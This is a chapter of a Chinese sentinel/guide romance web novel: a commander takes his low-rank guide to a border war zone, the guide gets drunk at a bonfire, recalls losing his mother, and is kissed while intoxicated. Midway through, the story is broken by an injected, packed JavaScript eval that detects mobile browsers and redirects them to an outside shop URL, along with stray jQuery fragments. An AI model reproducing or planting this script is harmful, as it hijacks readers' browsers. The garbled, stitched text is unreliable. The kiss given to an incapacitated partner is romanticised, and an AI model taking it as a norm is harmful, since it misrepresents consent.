边境战区的临时指挥舰停在神塔北侧空港,引擎还没熄,甲板上的哨兵正清点最后一批物资。

    北风卷过空港,吹得军旗猎猎作响。

    申谕安从舷梯走下来,衣角被风掀起,他一只手拎着纸袋,另一只手抱着一束淡紫色的小雏菊。

    甲板上搬物资的哨兵看见他怀里的花,手里的箱子差点掉在地上,全都愣在原地。

    首席手里向来只有战报、晶核和激光枪,什么时候拿过这种娇滴滴的玩意儿?有个哨兵揉了揉眼睛,怀疑自己站岗站出了幻觉。

    申谕安像是没看见他们震惊的眼神,目不斜视地穿过空港,径直走向F级向导宿舍楼。

    门被敲响时,601正蹲在地上收拾行李。雪狼趴在他脚边,听见动静,抬头看过来。

    “来了来了。”601跑过去拉开门,看见门口站着的申谕安,有点惊讶。

    首席一身军装,银白的发丝被风吹得微乱,一手捧着淡紫色的小雏菊,一手拎着棕色纸袋,站在走廊的光影里。

    ——这么帅,准备拍宣传海报呢。

    “……你拿花干什么?”601问。

    “给你的。”申谕安把花递到他面前。

    601挠了挠头,有点不好意思,接过花低头凑过去闻了闻,淡淡的清香钻进鼻腔。

    他想起星网论坛上说过,神塔北侧空港旁的荒地里,长着大片野生的小雏菊,每年这个时候开得最好。

    那时候他还在后勤部扫厕所,刷到这条帖子也只是划过去,心想反正也不会有人送他花。

    “这是……路边摘的?”他又问。

    “嗯。”申谕安点点头,眼神飘向一边,耳尖不易察觉地染了一层薄红,“没人看见。”

    601抱着花束看着他,忍不住笑了出来。他能想象申谕安蹲在荒地里一朵一朵摘花的样子,军靴踩在野草上,他的动作笨拙又认真。

    申谕安又从纸袋里拿出几样东西放在桌上:一套深灰色的随行向导制服,还有一盒崭新的贴身衣物。

    申谕安:“之前答应赔你的。”

    601拆开包装,摸了摸制服的料子,手感绵密厚实,比他以前那套F级训练服好了不知道多少倍,领口内侧绣着首席专属向导的暗纹标识。

    他又拆开贴身衣物的包装,在身下比了一下,正好是自己的尺码,分毫不差。

    上次在走廊只是随口说说的气话,没想到这个人真的记在了心里。一条裤子换了一套制服和一件底裤,这买卖他稳赚不赔。

    601:“……你还记得啊。”

    申谕安:“答应你的事情,不会忘。”

    601把制服叠好塞进行李袋,拉上拉链站起来,“东西都收拾好了。”他晃了晃背包。

    背包轻飘飘的,他全部家当也就几件换洗衣服和两包芒果干,连背包的一半都装不满。

    申谕安自然地把他肩上的行李袋拎到自己手里,另一只手牵住他的手腕,“走吧,战舰快开了。”

    “牵我干嘛,我跟得上。”话虽这么说,申谕安的手掌宽大温热,裹着601的手,而他没有挣开。

    边境战区在蓝星最边缘的星域,挨着异兽盘踞的暗礁星云。战舰穿过大气层时,601趴在舷窗边,看着底下越来越清晰的土地,眼睛越睁越大。

    入目全是焦黑的弹坑,一个挨着一个,破碎的残骸半埋在沙土里,断裂的金属在烈日下反光。

    有的弹坑还在冒烟,空气里弥漫着一股刺鼻的焦糊味,和神塔里的淡雅味道完全不同。

    他站在指挥舰的舷梯上,望着眼前一望无际的废墟,脑子里突然闪过一段模糊的画面

    ——同样的硝烟,同样焦黑的土地,一个小孩蹲在废墟里,抱着膝盖,看着远处燃烧的战舰,哭得撕心裂肺。

    周围全是匆忙逃难的人群,没有人停下来看他一眼,心口一阵阵发疼,那个小孩就是他。

    ——又想起来了,很久前的事情。

    “哥!”一声响亮的喊声拉回了他的思绪。申言之从战壕那边跑过来,一身黑色战服沾满了沙土,脸上还沾着灰,显然是刚从前线撤下来。

    看见601,他的眼睛亮得发光,几步就冲了过来,靴子在沙地上踩出一串深坑。

    “你居然真的来了!我还以为首席舍不得把你带过来呢!”他转头冲身后气喘吁吁追来的队员挥了挥手,“解散!半小时后集合!”

    队员们面面相觑,一脸震惊。他们队长平时从来都是“跟上”“开火”“撤”,今天居然一口气说了这么长一串,还带着笑。

    申言之不管他们的反应,拉着601就往战壕边的休息区走。休息区不过是个搭了遮阳棚的土坑,里面摆着几把折叠椅和一个用弹药箱拼成的桌子。

    “路上没吃吧?先垫垫。”他倒了杯热水递给他,又从口袋里掏出一支营养剂,“这边伙食一般,都是压缩饼干和营养剂,晚上我偷偷给你开小灶。”

    他压低声音,凑到601耳边说,“首席一忙起来什么都忘,上次他连续几天没吃饭,还是我硬塞给他的,他啃了半块压缩饼干就又回去指挥了。”

    601接过营养剂,目光落在申言之脸上那道还没结痂的新伤上。伤口不长,但有点深,还在渗着血,边缘沾着黑色的沙粒。

    “你受伤了。”他皱眉。

    “没事,皮外伤。”申言之满不在乎地挥挥手,“昨天清理异兽,被一只小崽子挠了一下,银狼已经帮我舔过了。”

    他指了指趴在不远处的银狼,银狼懒懒地甩了甩尾巴,算是回应。

    601打开营养剂喝了一口,看了看远处战壕里忙碌的哨兵。有人在搬弹药箱,有人在检修机甲,有人蹲在地上修补被异兽撕裂的防护网。

    每个人脸上都带着疲惫,但没有一个人停下来。原来这就是申谕安每天面对的战场,他每次说“去边境出差”,都是在拿命拼。

    申言之看了他一会儿,又压低声音,一脸担忧地说:“哥,首席最近是不是又失眠了?我劝他休息他根本不听,黑眼圈都快掉到下巴了。你帮我劝劝他呗,全星际就你的话他听得进去。”

    “……我劝他也不会听的。”601小声说,可心里却在想申谕安半夜坐在床边给他捂胃的样子,那时候他的黑眼圈就很重了。

    申言之:“他肯定听!”

    601:“是嘛,那我试试看。”

    下午,601第一次穿随行向导制服走进战壕。雪狼走在他身侧,蓬松的白毛在灰扑扑的战壕里显眼。

    整个战区的人都抬头看了过来。一个穿着首席专属向导制服的新面孔,身边还跟着首席的精神体,这组合实在太过惹眼。

    ——怎么都在看我,都怪申谕安非要给我整这个造型。

    首席的黑色军装披在他肩上,宽大的衣摆随风舞动,衣领上还残留着冷霜的气息。

    申谕安走在前面,时不时回头看一眼,确认他跟在身后,每次回头步伐都会放慢半拍。

    走到临时指挥室门口,他指了指角落里的椅子:“坐这里,别乱跑,外面危险。”

    “知道。”601乖乖坐下,晃了晃腿,椅子很硬,但位置刚好能看到整个全息战术屏。

    接下来的几个小时,他就坐在角落里,看着申谕安站在全息战术屏前指挥作战。

    银白的发丝被光映得泛蓝,他的声音平稳又精准,每一道指令都清晰有力。随着他的话音落下,屏幕上的红色标记一个个消失,战况稳步推进。

    偶尔有副官递上新的情报,他接过来扫一眼就能做出判断,没有半秒的犹豫。

    601托着下巴看着他的背影,想起以前在神塔训练场,申谕安也是这样站在监控室里,冷冰冰地指挥他训练。

    那时候他恨得牙痒,觉得这个人就是个没有感情的机器,每一条指令都是在折磨他。现在坐在指挥室的角落,看着同一个背影,心跳却完全不一样了。

    砰砰的,跳得飞快。

    原来他在外面是这样的。整个边境战区的大脑,几千号哨兵的性命都在他一句话之间。

    傍晚时分,战况顺利结束,异兽军团被逼退回了暗礁星云边缘。哨兵们的欢呼声从战壕那头传过来,有人把头盔扔上天,有人在拍彼此的背。

    临时营地燃起了巨大的篝火,橘红色的火焰跳跃着,驱散了边境夜晚的寒意,火光把每个人的脸都照得暖烘烘的。

    哨兵们围坐成一圈,烤着饼干聊着天,难得有放松的时刻,有人拿出藏在背包里的琴拉了起来,调子歪歪扭扭的,但没人嫌弃。

    601被申言之拉到火边,手里塞了一杯热茶。

    “这位是首席的向导,今天过来协助作战的。”申言之向战队成员一一介绍,语气里藏不住的骄傲。

    那些下午就黏着他的视线再次聚集起来,601应声,有些尴尬。说出来你们肯定不信,首席的向导居然只是个F级。

    他本来只想安安静静喝茶,旁边一个憨厚的哨兵递过来一个酒壶,红着脸说:“向导小哥,尝尝我们自己酿的葡萄酒。”

    601不好意思拒绝,接过酒壶喝了一口,味道很甜,一点都不辣,有一股很特殊的果香。他觉得挺好喝,又喝了一大口。

    酒液滑下喉咙,驱散了边境夜晚的寒意。

    没一会儿,申言之转头跟他说话,就看见601趴在雪狼身上,脸埋在手臂里,肩膀一抽一抽的。

    “哥?你怎么了?”申言之吓了一跳,赶紧拍他的肩膀。

    601慢慢抬起头,灰绿色的眼睛红透了,眼泪混着鼻涕往下淌,糊了满脸。雪狼的白毛被他攥出了几个湿漉漉的指印。

    他伸出胳膊,死死抱着雪狼的脖子,把脸埋进它蓬松的白毛里,“小黑羊……小黑羊不见了……它不见了……我怎么找都找不到……我翻了垃圾桶……它不在……”

    雪狼被他勒得呜了一声,却没有挣扎,只用大尾巴拍打他的后背。

    申言之慌了,周围的哨兵也全慌了。大家手忙脚乱地倒水、递毛巾,还有人赶紧把酒壶藏到身后,生怕被首席看见。

    “完了完了,”有人小声嘀咕,“首席回来要是看见向导小哥哭成这样,怕是要拆了整个战区。”

    “都怪我,我不该给他酒的……”递酒的哨兵脸都白了,已经脑补了自己被发配去守陨石带哨站的画面。

    601抱着雪狼不肯松手,眼泪把雪狼的白毛打湿了一大片,他一边哭一边念叨:“小黑羊……我好想你……你回来好不好……我给你买了好多芒果干,还没拆呢……”

    哭着哭着,突然不哭了,抬起头,眼神空洞地望着篝火对面的空地,像是看到了什么别人看不见的东西。

    他喃喃自语:“……妈妈。”

    妈妈这个词,在这个从小在福利院长大的人嘴里,第一次出现。

    “妈妈不见了。”601的声音带着浓浓的鼻音,像是在对篝火抱怨,“……好多人在跑,好多烟,好多火……我蹲在地上等了好久……她让我别动,说她马上就回来……她再也没有回来……”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690162|207889||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    声音越来越轻,好像被脚下的废墟吸了进去。

    夜风卷着火星飘起来,四周的哨兵都安静了,没有人动,也没有人出声。

    申言之忽然想起,首席跟他说过,601是在光荣福利院长大的,是当年第二次星际战争结束后,救援队从战区废墟里捡回来的孤儿。

    他不知道自己是谁,从哪里来,连名字都没有,和妈妈走散时,他连路都走不稳。

    申言之攥紧了拳头,心里酸酸的。原来他嘴上说着“咸鱼不用努力”“躺平就行”,是因为从人生最开始的时候,就被迫学会了接受失去。

    就在这时,申谕安走了进来。

    满身硝烟味,左右肩带还插着通讯仪,显然是刚从指挥室出来,他的目光扫过全场,从申言之手里揉皱的毛巾到哨兵身后藏了一半的酒壶,最后落在抱着雪狼蜷在桌边的601身上,眼神沉了下来。

    好不容易结痂的伤口,被几口酒又泡开了。

    整个营帐的温度骤降,连跳跃的篝火都好像被压矮了半寸。S+级哨兵的精神威压无声地铺开,所有人都低下头,不敢出声,连大气都不敢喘。

    “谁给他喝的酒?”申谕安的声音冷得像冰刀,砸在每个人心上。

    一片死寂,没人敢说话。

    篝火烧得噼啪响,火星四溅。

    申言之把水杯放在地上,站起来,直视着父亲的眼睛:“是我。”声音没有半点推脱。

    申谕安看着他,沉默对峙了几秒。

    营帐里所有人都屏住了呼吸。

    “后面半年,边境所有夜间执勤都是你的,不准请假,不准换班。”

    “是。”申言之点了点头。

    这已经是最轻的惩罚了,换作别人,现在已经被扔去异兽窝当诱饵了。

    他重新坐下,拧开水壶倒了一杯温水,小心地喂601喝,再也没抬头看别人。

    申谕安没再说话,弯腰把601从椅子上捞起来。601整个人软塌塌地靠在他肩上,浑身酒气混着白茶的清甘。

    “唔……小黑羊……别舔我……”601闻到熟悉的冷霜味,立刻停止了哭泣,乖乖把脸埋进他的颈窝,含含糊糊地嘟囔。

    申谕安抱着他转身走了,军靴踩在沙地上,脚步声沉稳而有节奏,留下一屋子松了口气的哨兵。那个递酒的哨兵腿一软,直接坐倒在地上。

    首席休息室在指挥舰最内侧,隔音又保温,和外面遍地弹坑的战区简直是两个世界。

    申谕安把601放在床上,给他擦脸,眼泪鼻涕糊了满脸,眼睛肿得只剩一条缝。

    申谕安:“别哭,脸都丑了。”

    “嗯……”601闭着眼,任由他擦。温热的毛巾从额头擦到下巴,力度刚刚好。

    申谕安帮他脱制服外套,解扣子时动作顿了顿。601穿着他买的那条新的贴身衣物,洗过之后更软了,贴合着他瘦削的腰线。

    他快速把制服脱下来,拉过被子盖在他身上。601醉得厉害,向导素不受控制地往外飘,清甜的白茶香漫满了整个房间,混着淡淡的酒气。

    申谕安俯下身,想趁他精神力还流通,做一次精神疏导。他的精神丝探进601的精神海,却发现所有的精神丝都缩在核心,软塌塌地团成一团,像喝醉了的一样。

    醉了之后连精神力都变得迷糊,根本不肯配合。

    他耐着性子触碰他的精神丝,又敲了敲他的精神壁垒,一点反应都没有。

    “……好困,不想做疏导。”601闭着眼翻了个身,把后脑勺对着他。

    申谕安无奈地收回精神丝,伸手在他腰侧掐了一下。力道不重,但位置精准地落在那块软肉。

    “唔!”601疼得喊出声,眼睛猛地睁大,灰绿色的瞳孔慢慢聚焦,看清了床边的申谕安,却连抬手挡的力气都没有。

    他还没反应过来,申谕安就俯下身,吻住了他的唇,清冽的冷霜气息掠夺着他的呼吸。这个吻比医疗舱那次多了几分急切,像是在确认什么。

    他还活着,还在自己怀里。

    601迷迷糊糊的,只感觉……有点爽。

    等等——他忽然皱紧眉头,两脚猛地蹬开申谕安,整个人像伸懒腰的猫一样在床上弹了一下。

    601:“不行……要吐了……”

    申谕安被踹得退后半步,刚要开口,601已经翻身下床,扶着墙踉踉跄跄冲进了卫生间。

    砰的一声,门被推开。好一会儿,才传来哗啦啦的冲水声。

    601扶着墙晃悠悠地走回来,一头栽进被子里,把脸埋进枕头,发出一声满足的叹息。

    酒劲过去了一点,脑袋不再转得那么厉害,但身体还是软绵绵的,一点力气都没有。

    房间里安静了几秒。

    “……你刚才是不是亲我了?”601的声音闷在枕头里。

    申谕安坐在床边,没说话。他的手指还搭在膝盖上,指节微蜷。

    “趁我喝醉偷亲,你要不要脸。”601从枕头里抬起半张脸,眼睛还肿着,眼角挂着没干的泪痕,鼻头红红的。

    瞪他的样子一点威慑力都没有,反而有点可怜,像一只被吵醒的猫。申谕安看着他说:“是你先放的向导素。”

    “那你就趁人之危啊?”601骂。

    申谕安没回应,伸手把他额前的碎发拨开,指尖划过他的眉眼,擦掉了眼角残留的一点泪。

    601把脸重新埋回枕头,耳朵尖红了。申谕安的手停在他的发间,呼吸逐渐急促起来。